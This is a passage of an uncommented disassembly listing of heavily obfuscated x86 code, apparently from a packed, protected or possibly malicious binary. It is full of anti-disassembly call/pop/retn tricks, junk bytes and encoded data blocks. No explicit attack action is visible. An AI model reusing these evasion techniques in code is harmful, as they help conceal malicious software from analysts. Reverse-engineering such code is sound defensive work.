		jz	short loc_57EA1D
		push	eax
		push	ebx
		mov	eax, 1
		lea	ebx, [ebp+617A7F1h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_57EA1D:				; CODE XREF: sub_57DD3A+CD0j
		jo	loc_57EA36
		jmp	loc_57EA36
; ---------------------------------------------------------------------------
		dd 95B9BCEDh, 483605FAh, 0BA346444h
; ---------------------------------------------------------------------------
		mov	dh, 66h


loc_57EA36:				; CODE XREF: sub_57DD3A:loc_57EA1Dj
					; sub_57DD3A+CE9j
		mov	edx, [ebp+6152B25h]
		mov	eax, eax
		cmp	dword ptr [ebp+6151E15h], 0
		jz	loc_57EC10
		add	ebx, [ebp+6152435h]
		cmp	dword ptr [ebp+6150309h], 0
		jz	loc_57EC10
		push	0
		push	edi
		call	loc_57EA69
		and	[edi-3Dh], bl


loc_57EA69:				; CODE XREF: sub_57DD3A+D27p
		pop	edi
		mov	[esp+0Ch+var_8], edi
		add	[esp+0Ch+var_8], 16h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		cld
		mov	dword ptr [ebx], 60D78B66h
		push	0
		push	ebx
		call	loc_57EA8B
		and	[ebx-3Dh], bl


loc_57EA8B:				; CODE XREF: sub_57DD3A+D49p
		pop	ebx
		mov	[esp+10h+var_E+2], ebx
		add	[esp+10h+var_E+2], 1Dh
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dec	ecx
		cmp	eax, esp
		fcomi	st, st(2)
		pop	esi
		cwde
		std
		or	al, 6Dh
		mov	edx, ebx
		mov	eax, [ebp+6150309h]
		push	ebx
		and	bh, 7Ch
		pop	ebx
		add	eax, 3E8h
		jge	loc_57EAC3
		mov	edx, [ebp+6152229h]


loc_57EAC3:				; CODE XREF: sub_57DD3A+D7Dj
		push	eax
		mov	edx, ecx
		mov	[esp+14h+var_16+2], eax
		push	0
		push	eax
		call	loc_57EAD4
		and	[eax-3Dh], bl


loc_57EAD4:				; CODE XREF: sub_57DD3A+D92p
		pop	eax
		mov	[esp+14h+var_12+2], eax
		add	[esp+14h+var_12+2], 17h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dd 0FAC23544h, 0BAD9D29h, 858D0615h, 6154F55h, 27999589h
		dd 0E8900615h, 8, 8B697B34h, 0D86B2786h, 5B616053h, 5260505Bh
		dd 8E8h, 0BB3D3A00h, 4284AD59h,	0F585BA5h, 28Ch, 61616000h
		dd 0B9BD2990h, 8D061522h, 154F3385h, 0CE806h, 0A66A0000h
		dd 479A207Ch, 2D98AEC3h, 0D18B745Bh, 5250505Ah,	13E8h
		dd 43437100h, 9FB1BB15h, 9FD50D2Eh, 0F3478A22h,	59AD0CBDh
		dd 0F5B6160h, 0D88B6631h, 489585Ah, 5FC28024h, 8E19589h
		dd 95FF0615h, 6152F29h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 9AC35747h, 0BA98D89h,	85890615h, 61518E5h
		dd 0B0CC483h, 15116595h, 33858D06h, 6A06154Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 73ACC356h, 5DBA25A2h, 794C30E8h, 89DF8B50h, 8F0F2404h
		dd 6, 23FD9D89h, 26A0615h, 0FFC7EA80h, 6AED1495h, 0D18B6600h
		dd 0EE961h, 46C20000h, 0F5F0B421h, 0C2638E50h, 0C439DC68h
; ---------------------------------------------------------------------------


loc_57EC10:				; CODE XREF: sub_57DD3A+D0Bj
					; sub_57DD3A+D1Ej
		mov	dword ptr [ebp+6154F66h], 1
		and	edx, 2BD463E3h
		push	eax
		mov	dx, si
		mov	[esp+10h+var_12+2], esi
		sub	[ebp+615046Dh],	esi
		add	edx, 7D4B05C1h
		mov	[ebp+6154F17h],	esi
		call	loc_57EC47
		wait
		push	52h
		mov	ch, 52h
		cmpsb
		push	esp
		lock push ebp


loc_57EC47:				; CODE XREF: sub_57DD3A+EFFp
		jnz	loc_57EC53
		add	[ebp+6151C8Dh],	eax


loc_57EC53:				; CODE XREF: sub_57DD3A:loc_57EC47j
		pop	ebx
		cmp	dword ptr [ebp+6152DB5h], 1
		jnz	loc_57ECD8
		push	0
		push	eax
		call	loc_57EC6C
		and	[eax-3Dh], bl


loc_57EC6C:				; CODE XREF: sub_57DD3A+F2Ap
		pop	eax
		mov	[esp+14h+var_12+2], eax
		add	[esp+14h+var_12+2], 1Dh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dd 0A6A1E670h, 2EFE1E39h, 0CA80F03Eh, 5F883B0h,	46850Fh
		dd 0E3810000h, 6ECD7A3Fh, 99858953h, 5A061523h,	0B8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 6689C24Ah, 0FF943BBh, 0B84h,	0BD016000h, 6152831h, 61F4D880h
; ---------------------------------------------------------------------------


loc_57ECD8:				; CODE XREF: sub_57DD3A+F21j
		cmp	dword ptr [ebp+615056Dh], 0
		jz	loc_57ED1C
		or	dx, 0B15h
		pusha
		mov	ebx, [ebp+61501FDh]
		call	dword ptr [ebp+615056Dh]
		jz	loc_57ED05
		push	ecx
		mov	ebx, [ebp+6150421h]
		pop	edx


loc_57ED05:				; CODE XREF: sub_57DD3A+FBDj
		pusha
		mov	[ebp+61514C5h],	esi
		push	edi
		mov	eax, [ebp+61528E9h]
		pop	ecx
		popa
		popa
		sub	ebx, [ebp+615100Dh]


loc_57ED1C:				; CODE XREF: sub_57DD3A+FA5j
		cmp	dword ptr [ebp+6150A01h], 0
		jz	loc_57ED3D
		xor	ebx, 799B9977h
		mov	eax, 0
		or	[ebp+6150909h],	esi
		movsx	edx, ax


loc_57ED3D:				; CODE XREF: sub_57DD3A+FE9j
		pusha
		push	0
		push	edx
		call	loc_57ED49
		and	[edx-3Dh], bl


loc_57ED49:				; CODE XREF: sub_57DD3A+1007p
		pop	edx
		mov	[esp+34h+var_32+2], edx
		add	[esp+34h+var_32+2], 1Ah
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 9Ah,	6Dh, 2Eh
; ---------------------------------------------------------------------------
		jnb	short near ptr loc_57ED60+2
		push	cs
		pop	ecx


loc_57ED60:				; CODE XREF: sub_57DD3A+1022j
		adc	dx, 5805h
		mov	eax, [ebp+6152849h]
		add	eax, 2
		push	0
		push	ebp
		call	loc_57ED79
		and	[ebp-3Dh], bl


loc_57ED79:				; CODE XREF: sub_57DD3A+1037p
		pop	ebp
		mov	[esp+38h+var_36+2], ebp
		add	[esp+38h+var_36+2], 15h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		test	[esi+17E9958Bh], bh
		adc	eax, 0F858906h
		dec	edi
		adc	eax, 0BD016006h
		inc	ebp
		or	ds:898D2906h, edx
		push	ds
		adc	eax, 0C66106h
		jmp	fword ptr [edx+0]
; ---------------------------------------------------------------------------
		push	eax
		call	loc_57EDB3
		and	[eax-3Dh], bl


loc_57EDB3:				; CODE XREF: sub_57DD3A+1071p
		pop	eax
		mov	[esp+3Ch+var_3A+2], eax
		add	[esp+3Ch+var_3A+2], 15h
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		db 0F2h
		dd 859503E2h, 89061517h, 15110585h, 0AD9D8B06h,	0C6061519h
		dd 1509C585h, 958B5306h, 6152789h, 971958Bh, 0D4680615h
		dd 0BBE26F92h, 53C19D7Fh, 0C243481h, 801EDEDAh,	0B5FF2ED3h
		dd 6152811h, 0D559589h,	858D0615h, 61872BCh, 19D99589h
		dd 0D0FF0615h, 259CB0BAh, 2185895Bh, 0B206152Eh, 0EDBD83DBh
		dd 106150Bh, 63850Fh, 85890000h, 6152D0Dh, 600BA61h, 9D8B0EAAh
		dd 6151721h, 9C585C6h, 0BA450615h, 4B0D7FF1h, 95A36068h
		dd 0D78B66BBh, 0A2243481h, 0B661F59Bh, 11B5FF0Eh, 29061528h
		dd 150C7DBDh, 1850906h,	8D061501h, 1872BC85h, 559D8B06h
		dd 0B06150Ah, 15139195h, 9D0FF06h, 1533E18Dh, 0B2006A06h
		dd 0B3D0FFA3h, 0D5BD838Ch, 1061533h, 137850Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 417D69C3h, 4CE2F3B6h, 80368F93h, 858B7CEFh, 6152849h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0F4C35040h
		dd 17C6A38Bh, 870F6051h, 0Dh, 8E9h, 5FE19600h, 0F02A8E79h
		dd 0B50B51EBh, 6151D39h, 76E96158h, 66000000h, 718CF281h
		dd 8A525090h, 0E9310FF3h, 0Eh, 0F4111CB2h, 0B0D5F41Bh
		dd 6696CEC5h, 585A55C9h, 0B0BB6650h, 8E9907Ch, 7C000000h
		dd 0BCC6E63Fh, 6AC82F28h, 51006A14h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0D59A9E5Fh
		dd 606FE1C6h, 8E98BB66h, 9EF8BF66h, 0FFDD8A61h,	152E2195h
		dd 8D8BBA06h, 89587D09h, 15024DB5h, 388006h, 0FF86850Fh
		dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0D27E58C3h, 0C6F9322Fh, 6A0100h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0C87784C3h, 8B667F1Eh, 6A61DFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 9BE9D9C3h, 0B3B32699h
		dd 1DBD838Eh, 61503h, 3B840Fh, 81660000h, 6A6E02E2h, 57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0FFB84127h, 152E2195h, 5AF95106h, 0FFFFD2E9h, 8D8960FFh
		dd 6150C15h, 1D85C761h,	1061503h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 2B1C357h, 8B455EE9h,	15184995h, 1B858906h, 0F06154Fh
		dd 186h, 0BB90F800h, 2C5645B7h,	7E850h,	0FC3F0000h, 2CB086FAh
		dd 57525085h, 0F310F5Ah, 83h, 5A585A00h, 0F9950B90h, 6006152Ch
		dd 6AD0B70Fh, 0C1BD8905h, 8D061521h, 154F3385h,	90BEB306h
		dd 12E9h, 0CF3DA600h, 0DDCFCC9h, 505037ABh, 0C4689A53h
		dd 50B86936h, 8190D38Ah, 11FA67EAh, 23858D16h, 6A06154Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0C666C352h, 0E3FD793Ch, 0F8E84A9h, 0A8D8509h
		dd 89500615h, 830F2404h, 19h, 0FE960h, 81320000h, 482D9F06h
		dd 88EF62E5h, 4703BC4Fh, 0CEB70F92h, 0B195FF61h, 6A061504h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 2A74C351h, 7AFD8D8Dh, 6A0615h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 905FC2C3h
		dd 0E280D68Bh, 74C00B26h, 33858D11h, 5006154Fh,	8589D1FFh
		dd 6154F51h, 85C70AEBh,	6154F51h, 0FFFFFFFFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 84C35545h, 5A9D641Bh
		dd 0F6E7857Ah, 3941C281h, 6A613635h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 80F7C355h
		dd 7BB00BE2h, 0BD89B3E5h, 6153371h, 85C6D18Bh, 61509C5h
		dd 2D9D8B4Dh, 68061526h, 8C38F817h, 5AD68B56h, 0BF243481h
		dd 6A280D8Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 3DFCC356h, 94ED015Dh, 0FF29D728h
		dd 152159B5h, 858DF906h, 61872BCh, 6731BA66h, 8E8D0FFh
		dd 65000000h, 0BCF6CBEAh, 896F1EF8h, 150C65B5h,	85895A06h
		dd 61506D5h, 0EF8028B2h, 0C585C671h, 45061509h,	1121958Bh
		dd 958B0615h, 6152925h,	52963C68h, 53525081h, 5BD88B66h
		dd 8B66310Fh, 81585ADEh, 0D32D2404h, 0DB800D1Fh, 0CA81660Dh
		dd 0B5FFD8C6h, 6152811h, 3445B509h, 858D0615h, 61872BCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 53C35545h
		dd 994F8B20h, 930283A2h, 9589D0FFh, 61511D9h, 26698589h
		dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 3BF84FC3h, 0BF0F3545h, 0D88B66DBh, 6AD28Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0BA075AC3h, 0A4440887h, 9D8BF0Fh, 15074985h,	0D98C6606h
		dd 0C1F6D9B7h, 40840F04h, 6A000002h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 73E6C355h
		dd 0C7A35ADCh, 895A01A0h, 15271185h, 0D9958B06h, 0E9061522h
		dd 110h, 18B5958Bh, 0B58B0615h,	6150B8Dh, 0CE9h, 125BE300h
		dd 681BD834h, 0FC6B2B7Fh, 80C68166h, 6A000011h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 2992C351h, 0F4D90E84h, 0C45685C3h, 5E28BB66h, 1E01BD83h
		dd 0F000615h, 2A85h, 87E9FC00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 668C352h
		dd 6BB01B80h, 83D78B83h, 840F003Eh, 5Ah, 0A18D0957h, 5B061511h
		dd 0CB816660h, 146AD69Fh, 95FF87B7h, 6152E21h, 202115BAh
		dd 6A6145h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0AEE235C3h, 9E8D2E9h, 0D2000000h,	6A36571Dh
		dd 1C12136Fh, 16759D09h, 0E95B0615h, 0FFFFFF9Fh, 6C7D68Bh
		dd 1, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 19h
		dd 9BC35141h, 0FC0A977h, 2E7806Ch, 4F1BBD83h, 0F050615h
		dd 0EE85h, 0D78B6600h, 2669B58Bh, 8D0F0615h, 0
; ---------------------------------------------------------------------------
		mov	ecx, 64h
		push	0
		push	edi
		call	loc_57F4B4
		and	[edi-3Dh], bl


loc_57F4B4:				; CODE XREF: sub_57DD3A+1772p
		pop	edi
		mov	[esp+40h+var_3E+2], edi
		add	[esp+40h+var_3E+2], 19h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		push	ds
		push	ss
		mov	al, ds:0FEFBE86h
		mov	bh, 0DBh
		sub	[ebp+615138Dh],	edx


loc_57F4D3:				; CODE XREF: sub_57DD3A+1805j
		cmp	byte ptr [esi],	0E8h
		jz	loc_57F517
		push	0
		push	ecx
		call	loc_57F4E7
		and	[ecx-3Dh], bl


loc_57F4E7:				; CODE XREF: sub_57DD3A+17A5p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 1Bh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 7Ah
		dd 3706E99Ah, 8B81BBC5h, 151E8995h, 2DE906h, 8E90000h
		dd 8E000000h, 3AFCFF4Ch
		db 0F0h, 5Bh, 0A9h
; ---------------------------------------------------------------------------


loc_57F517:				; CODE XREF: sub_57DD3A+179Cj
		cmp	byte ptr [esi+5], 0C2h
		jz	loc_57F571
		ja	loc_57F534
		jmp	loc_57F534
; ---------------------------------------------------------------------------
		dd 1993C66h, 0A64C2711h
; ---------------------------------------------------------------------------


loc_57F534:				; CODE XREF: sub_57DD3A+17E7j
					; sub_57DD3A+17EDj
		movzx	ebx, cx
		inc	esi
		and	ebx, [ebp+6151081h]
		dec	ecx
		jnz	loc_57F4D3
		mov	[ebp+6152395h],	edi
		jmp	loc_57F583
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	loc_57F55B
		and	[ecx-3Dh], bl


loc_57F55B:				; CODE XREF: sub_57DD3A+1819p
		pop	ecx
		mov	[esp+4], ecx
		add	dword ptr [esp+4], 19h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 67h
		dd 80E7EF87h
		db 72h
; ---------------------------------------------------------------------------


loc_57F571:				; CODE XREF: sub_57DD3A+17E1j
		mov	[ebp+6150E31h],	esi
		or	[ebp+6151159h],	esi
		mov	[ebp+61525B1h],	ecx


loc_57F583:				; CODE XREF: sub_57DD3A+1811j
		pop	eax
		xor	ebx, 36B15B57h
		cmp	dword ptr [ebp+61528C9h], 0
		jz	loc_57F681
		pusha
		add	dx, 1982h
		mov	byte ptr [ebp+61509C5h], 54h
		mov	ebx, [ebp+61518E5h]
		push	0D3D3E6B0h
		mov	dh, 49h
		xor	[esp+6Ch+var_6C], 2C9D5844h
		push	0
		push	ecx
		call	loc_57F5C3
		and	[ecx-3Dh], bl


loc_57F5C3:				; CODE XREF: sub_57DD3A+1881p
		pop	ecx
		mov	[esp+6Ch+var_68], ecx
		add	[esp+6Ch+var_68], 14h
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------
		mov	[ebp+6151D85h],	ebx
		stc
		push	dword ptr [ebp+6152811h]
		movsx	edx, ax
		movzx	ebx, cx
		lea	eax, [ebp+61872BCh]
		push	0
		push	ebx
		call	loc_57F5F8
		and	[ebx-3Dh], bl


loc_57F5F8:				; CODE XREF: sub_57DD3A+18B6p
		pop	ebx
		mov	[esp+74h+var_70], ebx
		add	[esp+74h+var_70], 1Ah
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		dd 9422F9C8h, 0E8D55877h, 8, 9879B14Dh,	0F0A8E50Eh, 0FF5AD08Bh
		dd 0B19D23D0h, 6A061527h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 6DBB6658h
		dd 0C9B5FFEBh, 89061528h, 15129195h, 66D0FF06h,	6A61D38Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0A6FAC350h, 0F87174Ch, 8Ah
		db 0
; ---------------------------------------------------------------------------


loc_57F681:				; CODE XREF: sub_57DD3A+1857j
		mov	dword ptr [ebp+61518A9h], 1
		push	0
		push	eax
		call	loc_57F696
		and	[eax-3Dh], bl


loc_57F696:				; CODE XREF: sub_57DD3A+1954p
		pop	eax
		mov	[esp+48h+var_46+2], eax
		add	[esp+48h+var_46+2], 1Bh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 696Dh
; ---------------------------------------------------------------------------
		add	eax, 4F0898A3h
		cmp	al, 60h
		mov	ax, cx
		mov	ecx, [ebp+615035Dh]
		popa
		pusha
		push	0
		push	ebx
		call	loc_57F6C5
		and	[ebx-3Dh], bl


loc_57F6C5:				; CODE XREF: sub_57DD3A+1983p
		pop	ebx
		mov	[esp+4], ebx
		add	dword ptr [esp+4], 15h
		inc	ebx
		push	ebx
		retn
; ---------------------------------------------------------------------------
		mov	ch, 0CBh
		mov	edx, [ebp+6150A4Dh]
		push	2A62160Bh
		mov	edx, eax
		xor	[esp+54h+var_54], 2A62168Bh
		jz	loc_57F6F5
		push	eax
		mov	edx, ebx
		pop	ebx


loc_57F6F5:				; CODE XREF: sub_57DD3A+19B1j
		push	0FFFFFFFFh
		mov	[ebp+6152E3Dh],	edx
		call	dword ptr [ebp+615248Dh]
		mov	edx, [ebp+6151089h]
		popa
		jmp	loc_57F723
; ---------------------------------------------------------------------------
		db 0B7h
		dd 54503BC5h, 0D8BE598Ah, 0FEE6E775h, 78355A26h
; ---------------------------------------------------------------------------
		pop	dword ptr [ebp+51h]


loc_57F723:				; CODE XREF: sub_57DD3A+19D0j
		mov	ebx, [ebp+6152A51h]
		nop
		jmp	loc_57F73A
; ---------------------------------------------------------------------------
		dec	ebx
		fld	qword ptr [eax+67427E48h]
		dec	esp
		db	66h
		xlat
		cmpsd


loc_57F73A:				; CODE XREF: sub_57DD3A+19F0j
		push	eax
		pusha
		mov	bh, 0B6h
		popa
		nop
		push	0
		push	esi
		call	loc_57F74B
		and	[esi-3Dh], bl


loc_57F74B:				; CODE XREF: sub_57DD3A+1A09p
		pop	esi
		mov	[esp+38h+var_36+2], esi
		add	[esp+38h+var_36+2], 1Dh
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		db 0B0h
; ---------------------------------------------------------------------------
		mov	ds:8E6655D5h, eax
		fnstenv	byte ptr [eax+esi*4-56h]
		xor	[ebp+61505DDh],	edi
		mov	eax, [ebp+6150C21h]
		push	0
		push	ecx
		call	loc_57F77C
		and	[ecx-3Dh], bl


loc_57F77C:				; CODE XREF: sub_57DD3A+1A3Ap
		pop	ecx
		mov	[esp+3Ch+var_3A+2], ecx
		add	[esp+3Ch+var_3A+2], 1Dh
		inc	ecx
		push	ecx
		retn
; ---------------------------------------------------------------------------
		dd 0B449B627h, 1165E858h, 0FE84A03h, 65000000h,	10BAE66Bh
		dd 2C1C3F32h, 81674D51h, 0BF0FD0E1h, 0C00B5AD0h, 0C840Fh
		dd 95FF0000h, 6152B39h,	947DE281h, 85C7636Bh, 615111Dh
		dd 1, 38F0Fh, 0DF800000h, 0E9BD831Eh, 61502h, 0F840Fh
		dd 0C2800000h, 595FFA0h, 89061515h, 15261585h, 75BD8306h
		dd 61507h, 11840Fh, 0DE8B0000h,	82595FFh, 0E7800615h, 819D8B75h
		dd 8306151Eh, 150DC1BDh, 840F0006h, 9Eh, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 15h, 0C0C35343h, 0F585898Bh
		dd 83061512h, 150A19BDh, 850F0006h, 6Eh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Dh, 0BDC35141h, 7DAA246Ah
		dd 0DFD97B44h, 8D8951FFh, 615100Dh, 0E595FF5Bh,	6A061501h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 2E81C351h, 0D9D8B9Fh, 0F061529h, 1188h, 0CE900h
		dd 5D960000h, 0B1E6402Ch, 0C015E65Ch, 0BD83F2BBh, 61525CDh
		dd 6A840F00h, 0F000000h, 685h, 7DB53100h, 81061508h, 15138585h
		dd 400306h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 5D8F80FAh, 499D8B6Bh, 8106150Ch
		dd 1502A185h, 400306h, 52006A00h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 43A3F628h, 0FC6BB560h
		dd 0E9310F61h, 10h, 0D60993A6h,	0E5A30067h, 5973F92Bh
		dd 0E41E7FF5h, 5EA48D8Dh, 8B660615h, 890189DEh,	150AA985h
		dd 6AC23306h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 6725C350h, 7D96C729h, 6A59D01h
		dd 41890615h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 810F57D9h, 6, 0FF99529h, 310F0615h
		dd 12E9h, 4A32DD00h, 5C433CD0h,	0D767B3D8h, 88ACC4AEh
		dd 8D9C6882h, 155ED48Dh, 0DE806h, 22150000h, 53DEB198h
		dd 7D362008h, 81680778h, 548685CBh, 1895A42h, 0DE957h
		dd 1CF30000h, 0E7395180h, 2C0F807Ah, 5A79C2DAh,	0B70FC233h
		dd 44189D6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	50C35747h, 0D2F9981Ah, 839314D0h, 151CF9BDh, 840F0006h
		dd 11h,	8A5BD29h, 95FF0615h, 6150931h, 883E7ABAh, 45BD832Eh
		dd 1061500h, 57850Fh, 0F38A0000h, 50E9h, 4ABA5000h, 5B4F0D92h
		dd 6025B58Bh, 6C70615h,	0
		dd 5DA6B58Bh, 6C70615h,	0
		dd 95958BCFh, 6A061511h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0A917C353h,	85DA0120h
		dd 8967EF07h, 15127D8Dh, 1DBD8306h, 61511h, 113840Fh, 0BB660000h
		dd 0BD838B93h, 6150941h, 0EF850F01h, 53000000h,	5B08EF80h
		dd 4F0F8D8Bh, 0DB810615h, 25EC902Ch, 0E90001C6h, 12h, 9F20A7DEh
		dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 6A60EBE3h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 941AC352h, 0F921D6Fh, 0E468D1BFh, 0E8610B98h, 9, 7BCAE13Bh
		dd 7B0DAC17h, 0D86ABA60h, 815A08BFh, 98642434h,	5E9610Bh
		dd 8A000000h, 273F43CDh, 0FFFF6AF5h, 15248D95h,	0E8D78006h
		dd 49CF8061h, 260195FFh, 958B0615h, 6152D49h, 4F0F8D8Bh
		dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 606B2FC3h, 8518481Ah, 80BCAADDh, 1FEDBEAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 8C35141h
		dd 0E789A0BFh, 8D1B5B0Ah, 13899D8Bh, 0BD830615h, 6151CE1h
		dd 6850F01h, 81000000h,	67D064DBh, 6AC08B74h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 2375C357h, 95958BDAh, 8306150Ah, 1508F5BDh, 9750006h
		dd 3ADBD83h, 74000615h,	8B53501Ah, 85858BC0h, 89061513h
		dd 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h,	1503ADBDh
		dd 18740006h, 858B5350h, 6151385h, 13858589h, 9D8D0615h
		dd 617A78Dh, 585BD3FFh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7BC35242h, 62834242h,	5263DFADh, 8A0F60h
		dd 29000000h, 1518E595h, 315A6106h, 150B7D8Dh, 6AC08B06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0B3F1C356h, 661E254Eh, 4BA1E281h,	83D8CB80h
		dd 15111DBDh, 850F0006h, 1Bh, 83FC21B3h, 152975BDh, 840F0006h
		dd 0Bh,	4CE58060h, 7ADBD89h, 83610615h,	15111DBDh, 840F0006h
		dd 49h,	9E9h, 6677E200h, 0EB4F0DD8h, 0BD837996h, 6150C79h
		dd 2E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 982EC356h, 0D7838DADh
		dd 66877BDAh, 8B33ADBBh, 1519A19Dh, 1DBD8306h, 61511h
		dd 30840Fh, 83F80000h, 150C79BDh, 840F0006h, 22h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 88C35545h, 0A0E556C4h
		dd 0BD83D37Fh, 615111Dh, 46840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8E90C353h, 49CB8166h, 75B58904h, 83061528h, 151655BDh
		dd 840F0006h, 11h, 0CE9h, 4B4EE100h, 52F03BA5h,	12C73593h
		dd 1DBD83C8h, 61511h, 56840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4FCB1C3h
		dd 0F5605A5Eh, 2810Fh, 0D18B0000h, 0D19D8B61h, 83061533h
		dd 15089DBDh, 840F0006h, 18h, 7E9h, 0E6505D00h,	87ED7281h
		dd 237595FFh, 9D890615h, 6152869h, 9D23C08Bh, 615226Dh
		dd 2D01BD89h, 0BD830615h, 61508F5h, 83097500h, 1503ADBDh
		dd 1A740006h, 0C08B5350h, 2A1858Bh, 85890615h, 61502A1h
		dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50187400h
		dd 0A1858B53h, 89061502h, 1502A185h, 0A69D8D06h, 0FF0617A7h
		dd 6A585BD3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 9F6DC351h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 2FC35646h, 0AF6D5582h, 0BBE40734h
		dd 6810F52h, 31000000h,	1528B195h, 0EE95B06h, 92000000h
		dd 948E189h, 0C9E9A78Dh, 0BD924586h, 6AC08B55h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 0B3ADC350h, 78F6BBAAh, 0BD832635h, 615111Dh,	7D840F00h
		dd 6A000003h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 12B4C350h, 81B91087h, 431F5343h
		dd 6E960h, 0E0420000h, 0E1436F5Ah, 0EDBD8361h, 206150Bh
		dd 35840Fh, 0BD830000h,	6150045h, 28850F01h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 813AC355h, 9D8B597Eh, 6152215h, 60FDC780h
		dd 7AAB61BBh, 0A1F6803Ah, 4F0F8D8Bh, 95890615h,	61520B1h
		dd 0FE5BDA80h, 0A8F38001h, 26135068h, 81D98BE6h, 0ED302404h
		dd 6A19D9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 721E65C3h, 11E914h, 22860000h, 0FF28EC2Bh
